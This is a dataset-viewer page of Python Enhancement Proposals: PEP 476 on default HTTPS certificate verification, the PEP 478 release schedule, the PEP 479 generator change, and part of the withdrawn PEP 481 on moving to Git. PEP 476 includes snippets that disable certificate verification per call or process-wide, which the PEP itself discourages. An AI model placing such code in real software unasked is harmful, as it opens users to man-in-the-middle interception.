Datasets:

fedora-copr

/

pep-sum

like 0

PEP 476 – Enabling certificate verification by default for stdlib http clients Author: Alex Gaynor <alex.gaynor at gmail.com> Status: Final Type: Standards Track Created: 28-Aug-2014 Python-Version: 2.7.9, 3.4.3, 3.5 Resolution: Python-Dev message Table of Contents Abstract Rationale Technical Details Trust database Backwards compatibility Opting out Other protocols Python Versions Implementation Copyright Abstract Currently when a standard library http client (the urllib, urllib2, http, and httplib modules) encounters an https:// URL it will wrap the network HTTP traffic in a TLS stream, as is necessary to communicate with such a server. However, during the TLS handshake it will not actually check that the server has an X509 certificate is signed by a CA in any trust root, nor will it verify that the Common Name (or Subject Alternate Name) on the presented certificate matches the requested host. The failure to do these checks means that anyone with a privileged network position is able to trivially execute a man in the middle attack against a Python application using either of these HTTP clients, and change traffic at will. This PEP proposes to enable verification of X509 certificate signatures, as well as hostname verification for Python’s HTTP clients by default, subject to opt-out on a per-call basis. This change would be applied to Python 2.7, Python 3.4, and Python 3.5. Rationale The “S” in “HTTPS” stands for secure. When Python’s users type “HTTPS” they are expecting a secure connection, and Python should adhere to a reasonable standard of care in delivering this. Currently we are failing at this, and in doing so, APIs which appear simple are misleading users. When asked, many Python users state that they were not aware that Python failed to perform these validations, and are shocked. The popularity of requests (which enables these checks by default) demonstrates that these checks are not overly burdensome in any way, and the fact that it is widely recommended as a major security improvement over the standard library clients demonstrates that many expect a higher standard for “security by default” from their tools. The failure of various applications to note Python’s negligence in this matter is a source of regular CVE assignment [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11]. [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4340 [2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3533 [3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5822 [4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5825 [5] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1909 [6] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2037 [7] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2073 [8] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2191 [9] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4111 [10] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6396 [11] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6444 Technical Details Python would use the system provided certificate database on all platforms. Failure to locate such a database would be an error, and users would need to explicitly specify a location to fix it. This will be achieved by adding a new ssl._create_default_https_context function, which is the same as ssl.create_default_context. http.client can then replace its usage of ssl._create_stdlib_context with the ssl._create_default_https_context. Additionally ssl._create_stdlib_context is renamed ssl._create_unverified_context (an alias is kept around for backwards compatibility reasons). Trust database This PEP proposes using the system-provided certificate database. Previous discussions have suggested bundling Mozilla’s certificate database and using that by default. This was decided against for several reasons: Using the platform trust database imposes a lower maintenance burden on the Python developers – shipping our own trust database would require doing a release every time a certificate was revoked. Linux vendors, and other downstreams, would unbundle the Mozilla certificates, resulting in a more fragmented set of behaviors. Using the platform stores makes it easier to handle situations such as corporate internal CAs. OpenSSL also has a pair of environment variables, SSL_CERT_DIR and SSL_CERT_FILE which can be used to point Python at a different certificate database. Backwards compatibility This change will have the appearance of causing some HTTPS connections to “break”, because they will now raise an Exception during handshake. This is misleading however, in fact these connections are presently failing silently, an HTTPS URL indicates an expectation of confidentiality and authentication. The fact that Python does not actually verify that the user’s request has been made is a bug, further: “Errors should never pass silently.” Nevertheless, users who have a need to access servers with self-signed or incorrect certificates would be able to do so by providing a context with custom trust roots or which disables validation (documentation should strongly recommend the former where possible). Users will also be able to add necessary certificates to system trust stores in order to trust them globally. Twisted’s 14.0 release made this same change, and it has been met with almost no opposition. Opting out For users who wish to opt out of certificate verification on a single connection, they can achieve this by providing the context argument to urllib.urlopen: import ssl # This restores the same behavior as before. context = ssl._create_unverified_context() urllib.urlopen("https://no-valid-cert", context=context) It is also possible, though highly discouraged, to globally disable verification by monkeypatching the ssl module in versions of Python that implement this PEP: import ssl try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context This guidance is aimed primarily at system administrators that wish to adopt newer versions of Python that implement this PEP in legacy environments that do not yet support certificate verification on HTTPS connections. For example, an administrator may opt out by adding the monkeypatch above to sitecustomize.py in their Standard Operating Environment for Python. Applications and libraries SHOULD NOT be making this change process wide (except perhaps in response to a system administrator controlled configuration setting). Particularly security sensitive applications should always provide an explicit application defined SSL context rather than relying on the default behaviour of the underlying Python implementation. Other protocols This PEP only proposes requiring this level of validation for HTTP clients, not for other protocols such as SMTP. This is because while a high percentage of HTTPS servers have correct certificates, as a result of the validation performed by browsers, for other protocols self-signed or otherwise incorrect certificates are far more common. Note that for SMTP at least, this appears to be changing and should be reviewed for a potential similar PEP in the future: https://www.facebook.com/notes/protect-the-graph/the-current-state-of-smtp-starttls-deployment/1453015901605223 https://www.facebook.com/notes/protect-the-graph/massive-growth-in-smtp-starttls-deployment/1491049534468526 Python Versions This PEP describes changes that will occur on both the 3.4.x, 3.5 and 2.7.X branches. For 2.7.X this will require backporting the context (SSLContext) argument to httplib, in addition to the features already backported in PEP 466. Implementation LANDED: Issue 22366 adds the context argument to urlib.request.urlopen. Issue 22417 implements the substance of this PEP. Copyright This document has been placed into the public domain.

Final

PEP 476 – Enabling certificate verification by default for stdlib http clients

Standards Track

Currently when a standard library http client (the urllib, urllib2, http, and httplib modules) encounters an https:// URL it will wrap the network HTTP traffic in a TLS stream, as is necessary to communicate with such a server. However, during the TLS handshake it will not actually check that the server has an X509 certificate is signed by a CA in any trust root, nor will it verify that the Common Name (or Subject Alternate Name) on the presented certificate matches the requested host.

PEP 478 – Python 3.5 Release Schedule Author: Larry Hastings <larry at hastings.org> Status: Final Type: Informational Topic: Release Created: 22-Sep-2014 Python-Version: 3.5 Table of Contents Abstract Release Manager and Crew Release Schedule Features for 3.5 Copyright Abstract This document describes the development and release schedule for Python 3.5. The schedule primarily concerns itself with PEP-sized items. Release Manager and Crew 3.5 Release Manager: Larry Hastings Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Georg Brandl Release Schedule Python 3.5 has now reached its end-of-life and has been retired. No more releases will be made. These are all the historical releases of Python 3.5, including their release dates. 3.5.0 alpha 1: February 8, 2015 3.5.0 alpha 2: March 9, 2015 3.5.0 alpha 3: March 29, 2015 3.5.0 alpha 4: April 19, 2015 3.5.0 beta 1: May 24, 2015 (Beta 1 is also “feature freeze”–no new features beyond this point.) 3.5.0 beta 2: May 31, 2015 3.5.0 beta 3: July 5, 2015 3.5.0 beta 4: July 26, 2015 3.5.0 release candidate 1: August 10, 2015 3.5.0 release candidate 2: August 25, 2015 3.5.0 release candidate 3: September 7, 2015 3.5.0 final: September 13, 2015 3.5.1 release candidate 1: November 22, 2015 3.5.1 final: December 6, 2015 3.5.2 release candidate 1: Sunday, June 12, 2016 3.5.2 final: Sunday, June 26, 2016 3.5.3 candidate 1: January 2, 2017 3.5.3 final: January 17, 2017 3.5.4 candidate 1: July 25, 2017 3.5.4 final: August 8, 2017 3.5.5 candidate 1: January 23, 2018 3.5.5 final: February 4, 2018 3.5.6 candidate 1: July 19, 2018 3.5.6 final: August 2, 2018 3.5.7 candidate 1: March 4, 2019 3.5.7 final: March 18, 2019 3.5.8 candidate 1: September 9, 2019 3.5.8 candidate 2: October 12, 2019 3.5.8 final: October 29, 2019 3.5.9 final: November 1, 2019 3.5.10 rc1: August 21, 2020 3.5.10 final: September 5, 2020 Features for 3.5 PEP 441, improved Python zip application support PEP 448, additional unpacking generalizations PEP 461, “%-formatting” for bytes and bytearray objects PEP 465, a new operator (“@”) for matrix multiplication PEP 471, os.scandir(), a fast new directory traversal function PEP 475, adding support for automatic retries of interrupted system calls PEP 479, change StopIteration handling inside generators PEP 484, the typing module, a new standard for type annotations PEP 485, math.isclose(), a function for testing approximate equality PEP 486, making the Windows Python launcher aware of virtual environments PEP 488, eliminating .pyo files PEP 489, a new and improved mechanism for loading extension modules PEP 492, coroutines with async and await syntax Copyright This document has been placed in the public domain.

Final

PEP 478 – Python 3.5 Release Schedule

Informational

This document describes the development and release schedule for Python 3.5. The schedule primarily concerns itself with PEP-sized items.

PEP 479 – Change StopIteration handling inside generators Author: Chris Angelico <rosuav at gmail.com>, Guido van Rossum <guido at python.org> Status: Final Type: Standards Track Created: 15-Nov-2014 Python-Version: 3.5 Post-History: 15-Nov-2014, 19-Nov-2014, 05-Dec-2014 Table of Contents Abstract Acceptance Rationale Background information Proposal Consequences for existing code Writing backwards and forwards compatible code Examples of breakage Explanation of generators, iterators, and StopIteration Transition plan Alternate proposals Raising something other than RuntimeError Supplying a specific exception to raise on return Making return-triggered StopIterations obvious Converting the exception inside next() Sub-proposal: decorator to explicitly request current behaviour Criticism Why not fix all __next__() methods? References Copyright Abstract This PEP proposes a change to generators: when StopIteration is raised inside a generator, it is replaced with RuntimeError. (More precisely, this happens when the exception is about to bubble out of the generator’s stack frame.) Because the change is backwards incompatible, the feature is initially introduced using a __future__ statement. Acceptance This PEP was accepted by the BDFL on November 22. Because of the exceptionally short period from first draft to acceptance, the main objections brought up after acceptance were carefully considered and have been reflected in the “Alternate proposals” section below. However, none of the discussion changed the BDFL’s mind and the PEP’s acceptance is now final. (Suggestions for clarifying edits are still welcome – unlike IETF RFCs, the text of a PEP is not cast in stone after its acceptance, although the core design/plan/specification should not change after acceptance.) Rationale The interaction of generators and StopIteration is currently somewhat surprising, and can conceal obscure bugs. An unexpected exception should not result in subtly altered behaviour, but should cause a noisy and easily-debugged traceback. Currently, StopIteration raised accidentally inside a generator function will be interpreted as the end of the iteration by the loop construct driving the generator. The main goal of the proposal is to ease debugging in the situation where an unguarded next() call (perhaps several stack frames deep) raises StopIteration and causes the iteration controlled by the generator to terminate silently. (Whereas, when some other exception is raised, a traceback is printed pinpointing the cause of the problem.) This is particularly pernicious in combination with the yield from construct of PEP 380, as it breaks the abstraction that a subgenerator may be factored out of a generator. That PEP notes this limitation, but notes that “use cases for these [are] rare to non-existent”. Unfortunately while intentional use is rare, it is easy to stumble on these cases by accident: import contextlib @contextlib.contextmanager def transaction(): print('begin') try: yield from do_it() except: print('rollback') raise else: print('commit') def do_it(): print('Refactored initial setup') yield # Body of with-statement is executed here print('Refactored finalization of successful transaction') def gene(): for i in range(2): with transaction(): yield i # return raise StopIteration # This is wrong print('Should not be reached') for i in gene(): print('main: i =', i) Here factoring out do_it into a subgenerator has introduced a subtle bug: if the wrapped block raises StopIteration, under the current behavior this exception will be swallowed by the context manager; and, worse, the finalization is silently skipped! Similarly problematic behavior occurs when an asyncio coroutine raises StopIteration, causing it to terminate silently, or when next is used to take the first result from an iterator that unexpectedly turns out to be empty, for example: # using the same context manager as above import pathlib with transaction(): print('commit file {}'.format( # I can never remember what the README extension is next(pathlib.Path('/some/dir').glob('README*')))) In both cases, the refactoring abstraction of yield from breaks in the presence of bugs in client code. Additionally, the proposal reduces the difference between list comprehensions and generator expressions, preventing surprises such as the one that started this discussion [2]. Henceforth, the following statements will produce the same result if either produces a result at all: a = list(F(x) for x in xs if P(x)) a = [F(x) for x in xs if P(x)] With the current state of affairs, it is possible to write a function F(x) or a predicate P(x) that causes the first form to produce a (truncated) result, while the second form raises an exception (namely, StopIteration). With the proposed change, both forms will raise an exception at this point (albeit RuntimeError in the first case and StopIteration in the second). Finally, the proposal also clears up the confusion about how to terminate a generator: the proper way is return, not raise StopIteration. As an added bonus, the above changes bring generator functions much more in line with regular functions. If you wish to take a piece of code presented as a generator and turn it into something else, you can usually do this fairly simply, by replacing every yield with a call to print() or list.append(); however, if there are any bare next() calls in the code, you have to be aware of them. If the code was originally written without relying on StopIteration terminating the function, the transformation would be that much easier. Background information When a generator frame is (re)started as a result of a __next__() (or send() or throw()) call, one of three outcomes can occur: A yield point is reached, and the yielded value is returned. The frame is returned from; StopIteration is raised. An exception is raised, which bubbles out. In the latter two cases the frame is abandoned (and the generator object’s gi_frame attribute is set to None). Proposal If a StopIteration is about to bubble out of a generator frame, it is replaced with RuntimeError, which causes the next() call (which invoked the generator) to fail, passing that exception out. From then on it’s just like any old exception. [3] This affects the third outcome listed above, without altering any other effects. Furthermore, it only affects this outcome when the exception raised is StopIteration (or a subclass thereof). Note that the proposed replacement happens at the point where the exception is about to bubble out of the frame, i.e. after any except or finally blocks that could affect it have been exited. The StopIteration raised by returning from the frame is not affected (the point being that StopIteration means that the generator terminated “normally”, i.e. it did not raise an exception). A subtle issue is what will happen if the caller, having caught the RuntimeError, calls the generator object’s __next__() method again. The answer is that from this point on it will raise StopIteration – the behavior is the same as when any other exception was raised by the generator. Another logical consequence of the proposal: if someone uses g.throw(StopIteration) to throw a StopIteration exception into a generator, if the generator doesn’t catch it (which it could do using a try/except around the yield), it will be transformed into RuntimeError. During the transition phase, the new feature must be enabled per-module using: from __future__ import generator_stop Any generator function constructed under the influence of this directive will have the REPLACE_STOPITERATION flag set on its code object, and generators with the flag set will behave according to this proposal. Once the feature becomes standard, the flag may be dropped; code should not inspect generators for it. A proof-of-concept patch has been created to facilitate testing. [4] Consequences for existing code This change will affect existing code that depends on StopIteration bubbling up. The pure Python reference implementation of groupby [5] currently has comments “Exit on StopIteration” where it is expected that the exception will propagate and then be handled. This will be unusual, but not unknown, and such constructs will fail. Other examples abound, e.g. [6], [7]. (Alyssa Coghlan comments: “””If you wanted to factor out a helper function that terminated the generator you’d have to do “return yield from helper()” rather than just “helper()”.”””) There are also examples of generator expressions floating around that rely on a StopIteration raised by the expression, the target or the predicate (rather than by the __next__() call implied in the for loop proper). Writing backwards and forwards compatible code With the exception of hacks that raise StopIteration to exit a generator expression, it is easy to write code that works equally well under older Python versions as under the new semantics. This is done by enclosing those places in the generator body where a StopIteration is expected (e.g. bare next() calls or in some cases helper functions that are expected to raise StopIteration) in a try/except construct that returns when StopIteration is raised. The try/except construct should appear directly in the generator function; doing this in a helper function that is not itself a generator does not work. If raise StopIteration occurs directly in a generator, simply replace it with return. Examples of breakage Generators which explicitly raise StopIteration can generally be changed to simply return instead. This will be compatible with all existing Python versions, and will not be affected by __future__. Here are some illustrations from the standard library. Lib/ipaddress.py: if other == self: raise StopIteration Becomes: if other == self: return In some cases, this can be combined with yield from to simplify the code, such as Lib/difflib.py: if context is None: while True: yield next(line_pair_iterator) Becomes: if context is None: yield from line_pair_iterator return (The return is necessary for a strictly-equivalent translation, though in this particular file, there is no further code, and the return can be omitted.) For compatibility with pre-3.3 versions of Python, this could be written with an explicit for loop: if context is None: for line in line_pair_iterator: yield line return More complicated iteration patterns will need explicit try/except constructs. For example, a hypothetical parser like this: def parser(f): while True: data = next(f) while True: line = next(f) if line == "- end -": break data += line yield data would need to be rewritten as: def parser(f): while True: try: data = next(f) while True: line = next(f) if line == "- end -": break data += line yield data except StopIteration: return or possibly: def parser(f): for data in f: while True: line = next(f) if line == "- end -": break data += line yield data The latter form obscures the iteration by purporting to iterate over the file with a for loop, but then also fetches more data from the same iterator during the loop body. It does, however, clearly differentiate between a “normal” termination (StopIteration instead of the initial line) and an “abnormal” termination (failing to find the end marker in the inner loop, which will now raise RuntimeError). This effect of StopIteration has been used to cut a generator expression short, creating a form of takewhile: def stop(): raise StopIteration print(list(x for x in range(10) if x < 5 or stop())) # prints [0, 1, 2, 3, 4] Under the current proposal, this form of non-local flow control is not supported, and would have to be rewritten in statement form: def gen(): for x in range(10): if x >= 5: return yield x print(list(gen())) # prints [0, 1, 2, 3, 4] While this is a small loss of functionality, it is functionality that often comes at the cost of readability, and just as lambda has restrictions compared to def, so does a generator expression have restrictions compared to a generator function. In many cases, the transformation to full generator function will be trivially easy, and may improve structural clarity. Explanation of generators, iterators, and StopIteration The proposal does not change the relationship between generators and iterators: a generator object is still an iterator, and not all iterators are generators. Generators have additional methods that iterators don’t have, like send and throw. All this is unchanged. Nothing changes for generator users – only authors of generator functions may have to learn something new. (This includes authors of generator expressions that depend on early termination of the iteration by a StopIteration raised in a condition.) An iterator is an object with a __next__ method. Like many other special methods, it may either return a value, or raise a specific exception - in this case, StopIteration - to signal that it has no value to return. In this, it is similar to __getattr__ (can raise AttributeError), __getitem__ (can raise KeyError), and so on. A helper function for an iterator can be written to follow the same protocol; for example: def helper(x, y): if x > y: return 1 / (x - y) raise StopIteration def __next__(self): if self.a: return helper(self.b, self.c) return helper(self.d, self.e) Both forms of signalling are carried through: a returned value is returned, an exception bubbles up. The helper is written to match the protocol of the calling function. A generator function is one which contains a yield expression. Each time it is (re)started, it may either yield a value, or return (including “falling off the end”). A helper function for a generator can also be written, but it must also follow generator protocol: def helper(x, y): if x > y: yield 1 / (x - y) def gen(self): if self.a: return (yield from helper(self.b, self.c)) return (yield from helper(self.d, self.e)) In both cases, any unexpected exception will bubble up. Due to the nature of generators and iterators, an unexpected StopIteration inside a generator will be converted into RuntimeError, but beyond that, all exceptions will propagate normally. Transition plan Python 3.5: Enable new semantics under __future__ import; silent deprecation warning if StopIteration bubbles out of a generator not under __future__ import. Python 3.6: Non-silent deprecation warning. Python 3.7: Enable new semantics everywhere. Alternate proposals Raising something other than RuntimeError Rather than the generic RuntimeError, it might make sense to raise a new exception type UnexpectedStopIteration. This has the downside of implicitly encouraging that it be caught; the correct action is to catch the original StopIteration, not the chained exception. Supplying a specific exception to raise on return Alyssa (Nick) Coghlan suggested a means of providing a specific StopIteration instance to the generator; if any other instance of StopIteration is raised, it is an error, but if that particular one is raised, the generator has properly completed. This subproposal has been withdrawn in favour of better options, but is retained for reference. Making return-triggered StopIterations obvious For certain situations, a simpler and fully backward-compatible solution may be sufficient: when a generator returns, instead of raising StopIteration, it raises a specific subclass of StopIteration (GeneratorReturn) which can then be detected. If it is not that subclass, it is an escaping exception rather than a return statement. The inspiration for this alternative proposal was Alyssa’s observation [8] that if an asyncio coroutine [9] accidentally raises StopIteration, it currently terminates silently, which may present a hard-to-debug mystery to the developer. The main proposal turns such accidents into clearly distinguishable RuntimeError exceptions, but if that is rejected, this alternate proposal would enable asyncio to distinguish between a return statement and an accidentally-raised StopIteration exception. Of the three outcomes listed above, two change: If a yield point is reached, the value, obviously, would still be returned. If the frame is returned from, GeneratorReturn (rather than StopIteration) is raised. If an instance of GeneratorReturn would be raised, instead an instance of StopIteration would be raised. Any other exception bubbles up normally. In the third case, the StopIteration would have the value of the original GeneratorReturn, and would reference the original exception in its __cause__. If uncaught, this would clearly show the chaining of exceptions. This alternative does not affect the discrepancy between generator expressions and list comprehensions, but allows generator-aware code (such as the contextlib and asyncio modules) to reliably differentiate between the second and third outcomes listed above. However, once code exists that depends on this distinction between GeneratorReturn and StopIteration, a generator that invokes another generator and relies on the latter’s StopIteration to bubble out would still be potentially wrong, depending on the use made of the distinction between the two exception types. Converting the exception inside next() Mark Shannon suggested [10] that the problem could be solved in next() rather than at the boundary of generator functions. By having next() catch StopIteration and raise instead ValueError, all unexpected StopIteration bubbling would be prevented; however, the backward-incompatibility concerns are far more serious than for the current proposal, as every next() call now needs to be rewritten to guard against ValueError instead of StopIteration - not to mention that there is no way to write one block of code which reliably works on multiple versions of Python. (Using a dedicated exception type, perhaps subclassing ValueError, would help this; however, all code would still need to be rewritten.) Note that calling next(it, default) catches StopIteration and substitutes the given default value; this feature is often useful to avoid a try/except block. Sub-proposal: decorator to explicitly request current behaviour Alyssa Coghlan suggested [11] that the situations where the current behaviour is desired could be supported by means of a decorator: from itertools import allow_implicit_stop @allow_implicit_stop def my_generator(): ... yield next(it) ... Which would be semantically equivalent to: def my_generator(): try: ... yield next(it) ... except StopIteration return but be faster, as it could be implemented by simply permitting the StopIteration to bubble up directly. Single-source Python 2/3 code would also benefit in a 3.7+ world, since libraries like six and python-future could just define their own version of “allow_implicit_stop” that referred to the new builtin in 3.5+, and was implemented as an identity function in other versions. However, due to the implementation complexities required, the ongoing compatibility issues created, the subtlety of the decorator’s effect, and the fact that it would encourage the “quick-fix” solution of just slapping the decorator onto all generators instead of properly fixing the code in question, this sub-proposal has been rejected. [12] Criticism Unofficial and apocryphal statistics suggest that this is seldom, if ever, a problem. [13] Code does exist which relies on the current behaviour (e.g. [3], [6], [7]), and there is the concern that this would be unnecessary code churn to achieve little or no gain. Steven D’Aprano started an informal survey on comp.lang.python [14]; at the time of writing only two responses have been received: one was in favor of changing list comprehensions to match generator expressions (!), the other was in favor of this PEP’s main proposal. The existing model has been compared to the perfectly-acceptable issues inherent to every other case where an exception has special meaning. For instance, an unexpected KeyError inside a __getitem__ method will be interpreted as failure, rather than permitted to bubble up. However, there is a difference. Special methods use return to indicate normality, and raise to signal abnormality; generators yield to indicate data, and return to signal the abnormal state. This makes explicitly raising StopIteration entirely redundant, and potentially surprising. If other special methods had dedicated keywords to distinguish between their return paths, they too could turn unexpected exceptions into RuntimeError; the fact that they cannot should not preclude generators from doing so. Why not fix all __next__() methods? When implementing a regular __next__() method, the only way to indicate the end of the iteration is to raise StopIteration. So catching StopIteration here and converting it to RuntimeError would defeat the purpose. This is a reminder of the special status of generator functions: in a generator function, raising StopIteration is redundant since the iteration can be terminated by a simple return. References [2] Initial mailing list comment (https://mail.python.org/pipermail/python-ideas/2014-November/029906.html) [3] (1, 2) Proposal by GvR (https://mail.python.org/pipermail/python-ideas/2014-November/029953.html) [4] Tracker issue with Proof-of-Concept patch (http://bugs.python.org/issue22906) [5] Pure Python implementation of groupby (https://docs.python.org/3/library/itertools.html#itertools.groupby) [6] (1, 2) Split a sequence or generator using a predicate (http://code.activestate.com/recipes/578416-split-a-sequence-or-generator-using-a-predicate/) [7] (1, 2) wrap unbounded generator to restrict its output (http://code.activestate.com/recipes/66427-wrap-unbounded-generator-to-restrict-its-output/) [8] Post from Alyssa (Nick) Coghlan mentioning asyncio (https://mail.python.org/pipermail/python-ideas/2014-November/029961.html) [9] Coroutines in asyncio (https://docs.python.org/3/library/asyncio-task.html#coroutines) [10] Post from Mark Shannon with alternate proposal (https://mail.python.org/pipermail/python-dev/2014-November/137129.html) [11] Idea from Alyssa Coghlan (https://mail.python.org/pipermail/python-dev/2014-November/137201.html) [12] Rejection of above idea by GvR (https://mail.python.org/pipermail/python-dev/2014-November/137243.html) [13] Response by Steven D’Aprano (https://mail.python.org/pipermail/python-ideas/2014-November/029994.html) [14] Thread on comp.lang.python started by Steven D’Aprano (https://mail.python.org/pipermail/python-list/2014-November/680757.html) Copyright This document has been placed in the public domain.

Final

PEP 479 – Change StopIteration handling inside generators

Standards Track

This PEP proposes a change to generators: when StopIteration is raised inside a generator, it is replaced with RuntimeError. (More precisely, this happens when the exception is about to bubble out of the generator’s stack frame.) Because the change is backwards incompatible, the feature is initially introduced using a __future__ statement.

PEP 481 – Migrate CPython to Git, Github, and Phabricator Author: Donald Stufft <donald at stufft.io> Status: Withdrawn Type: Process Created: 29-Nov-2014 Post-History: 29-Nov-2014 Table of Contents Abstract Rationale Version Control System Repository Hosting Code Review GitHub Pull Requests Phabricator Criticism X is not written in Python GitHub is not Free/Open Source Mercurial is better than Git CPython Workflow is too Complicated Example: Scientific Python References Copyright Abstract Note This PEP has been withdrawn, if you’re looking for the PEP documenting the move to Github, please refer to PEP 512. This PEP proposes migrating the repository hosting of CPython and the supporting repositories to Git and Github. It also proposes adding Phabricator as an alternative to Github Pull Requests to handle reviewing changes. This particular PEP is offered as an alternative to PEP 474 and PEP 462 which aims to achieve the same overall benefits but restricts itself to tools that support Mercurial and are completely Open Source. Rationale CPython is an open source project which relies on a number of volunteers donating their time. As an open source project it relies on attracting new volunteers as well as retaining existing ones in order to continue to have a healthy amount of manpower available. In addition to increasing the amount of manpower that is available to the project, it also needs to allow for effective use of what manpower is available. The current toolchain of the CPython project is a custom and unique combination of tools which mandates a workflow that is similar to one found in a lot of older projects, but which is becoming less and less popular as time goes on. The one-off nature of the CPython toolchain and workflow means that any new contributor is going to need spend time learning the tools and workflow before they can start contributing to CPython. Once a new contributor goes through the process of learning the CPython workflow they also are unlikely to be able to take that knowledge and apply it to future projects they wish to contribute to. This acts as a barrier to contribution which will scare off potential new contributors. In addition the tooling that CPython uses is under-maintained, antiquated, and it lacks important features that enable committers to more effectively use their time when reviewing and approving changes. The fact that it is under-maintained means that bugs are likely to last for longer, if they ever get fixed, as well as it’s more likely to go down for extended periods of time. The fact that it is antiquated means that it doesn’t effectively harness the capabilities of the modern web platform. Finally the fact that it lacks several important features such as a lack of pre-testing commits and the lack of an automatic merge tool means that committers have to do needless busy work to commit even the simplest of changes. Version Control System The first decision that needs to be made is the VCS of the primary server side repository. Currently the CPython repository, as well as a number of supporting repositories, uses Mercurial. When evaluating the VCS we must consider the capabilities of the VCS itself as well as the network effect and mindshare of the community around that VCS. There are really only two real options for this, Mercurial and Git. Between the two of them the technical capabilities are largely equivalent. For this reason this PEP will largely ignore the technical arguments about the VCS system and will instead focus on the social aspects. It is not possible to get exact numbers for the number of projects or people which are using a particular VCS, however we can infer this by looking at several sources of information for what VCS projects are using. The Open Hub (previously Ohloh) statistics [1] show that 37% of the repositories indexed by The Open Hub are using Git (second only to SVN which has 48%) while Mercurial has just 2% (beating only bazaar which has 1%). This has Git being just over 18 times as popular as Mercurial on The Open Hub. Another source of information on the popular of the difference VCSs is PyPI itself. This source is more targeted at the Python community itself since it represents projects developed for Python. Unfortunately PyPI does not have a standard location for representing this information, so this requires manual processing. If we limit our search to the top 100 projects on PyPI (ordered by download counts) we can see that 62% of them use Git while 22% of them use Mercurial while 13% use something else. This has Git being just under 3 times as popular as Mercurial for the top 100 projects on PyPI. Obviously from these numbers Git is by far the more popular DVCS for open source projects and choosing the more popular VCS has a number of positive benefits. For new contributors it increases the likelihood that they will have already learned the basics of Git as part of working with another project or if they are just now learning Git, that they’ll be able to take that knowledge and apply it to other projects. Additionally a larger community means more people writing how to guides, answering questions, and writing articles about Git which makes it easier for a new user to find answers and information about the tool they are trying to learn. Another benefit is that by nature of having a larger community, there will be more tooling written around it. This increases options for everything from GUI clients, helper scripts, repository hosting, etc. Repository Hosting This PEP proposes allowing GitHub Pull Requests to be submitted, however GitHub does not have a way to submit Pull Requests against a repository that is not hosted on GitHub. This PEP also proposes that in addition to GitHub Pull Requests Phabricator’s Differential app can also be used to submit proposed changes and Phabricator does allow submitting changes against a repository that is not hosted on Phabricator. For this reason this PEP proposes using GitHub as the canonical location of the repository with a read-only mirror located in Phabricator. If at some point in the future GitHub is no longer desired, then repository hosting can easily be moved to solely in Phabricator and the ability to accept GitHub Pull Requests dropped. In addition to hosting the repositories on Github, a read only copy of all repositories will also be mirrored onto the PSF Infrastructure. Code Review Currently CPython uses a custom fork of Rietveld which has been modified to not run on Google App Engine which is really only able to be maintained currently by one person. In addition it is missing out on features that are present in many modern code review tools. This PEP proposes allowing both Github Pull Requests and Phabricator changes to propose changes and review code. It suggests both so that contributors can select which tool best enables them to submit changes, and reviewers can focus on reviewing changes in the tooling they like best. GitHub Pull Requests GitHub is a very popular code hosting site and is increasingly becoming the primary place people look to contribute to a project. Enabling users to contribute through GitHub is enabling contributors to contribute using tooling that they are likely already familiar with and if they are not they are likely to be able to apply to another project. GitHub Pull Requests have a fairly major advantage over the older “submit a patch to a bug tracker” model. It allows developers to work completely within their VCS using standard VCS tooling so it does not require creating a patch file and figuring out what the right location is to upload it to. This lowers the barrier for sending a change to be reviewed. On the reviewing side, GitHub Pull Requests are far easier to review, they have nice syntax highlighted diffs which can operate in either unified or side by side views. They allow expanding the context on a diff up to and including the entire file. Finally they allow commenting inline and on the pull request as a whole and they present that in a nice unified way which will also hide comments which no longer apply. Github also provides a “rendered diff” view which enables easily viewing a diff of rendered markup (such as rst) instead of needing to review the diff of the raw markup. The Pull Request work flow also makes it trivial to enable the ability to pre-test a change before actually merging it. Any particular pull request can have any number of different types of “commit statuses” applied to it, marking the commit (and thus the pull request) as either in a pending, successful, errored, or failure state. This makes it easy to see inline if the pull request is passing all of the tests, if the contributor has signed a CLA, etc. Actually merging a Github Pull Request is quite simple, a core reviewer simply needs to press the “Merge” button once the status of all the checks on the Pull Request are green for successful. GitHub also has a good workflow for submitting pull requests to a project completely through their web interface. This would enable the Python documentation to have “Edit on GitHub” buttons on every page and people who discover things like typos, inaccuracies, or just want to make improvements to the docs they are currently writing can simply hit that button and get an in browser editor that will let them make changes and submit a pull request all from the comfort of their browser. Phabricator In addition to GitHub Pull Requests this PEP also proposes setting up a Phabricator instance and pointing it at the GitHub hosted repositories. This will allow utilizing the Phabricator review applications of Differential and Audit. Differential functions similarly to GitHub pull requests except that they require installing the arc command line tool to upload patches to Phabricator. Whether to enable Phabricator for any particular repository can be chosen on a case-by-case basis, this PEP only proposes that it must be enabled for the CPython repository, however for smaller repositories such as the PEP repository it may not be worth the effort. Criticism X is not written in Python One feature that the current tooling (Mercurial, Rietveld) has is that the primary language for all of the pieces are written in Python. It is this PEPs belief that we should focus on the best tools for the job and not the best tools that happen to be written in Python. Volunteer time is a precious resource to any open source project and we can best respect and utilize that time by focusing on the benefits and downsides of the tools themselves rather than what language their authors happened to write them in. One concern is the ability to modify tools to work for us, however one of the Goals here is to not modify software to work for us and instead adapt ourselves to a more standard workflow. This standardization pays off in the ability to re-use tools out of the box freeing up developer time to actually work on Python itself as well as enabling knowledge sharing between projects. However, if we do need to modify the tooling, Git itself is largely written in C the same as CPython itself is. It can also have commands written for it using any language, including Python. Phabricator is written in PHP which is a fairly common language in the web world and fairly easy to pick up. GitHub itself is largely written in Ruby but given that it’s not Open Source there is no ability to modify it so it’s implementation language is completely meaningless. GitHub is not Free/Open Source GitHub is a big part of this proposal and someone who tends more to ideology rather than practicality may be opposed to this PEP on 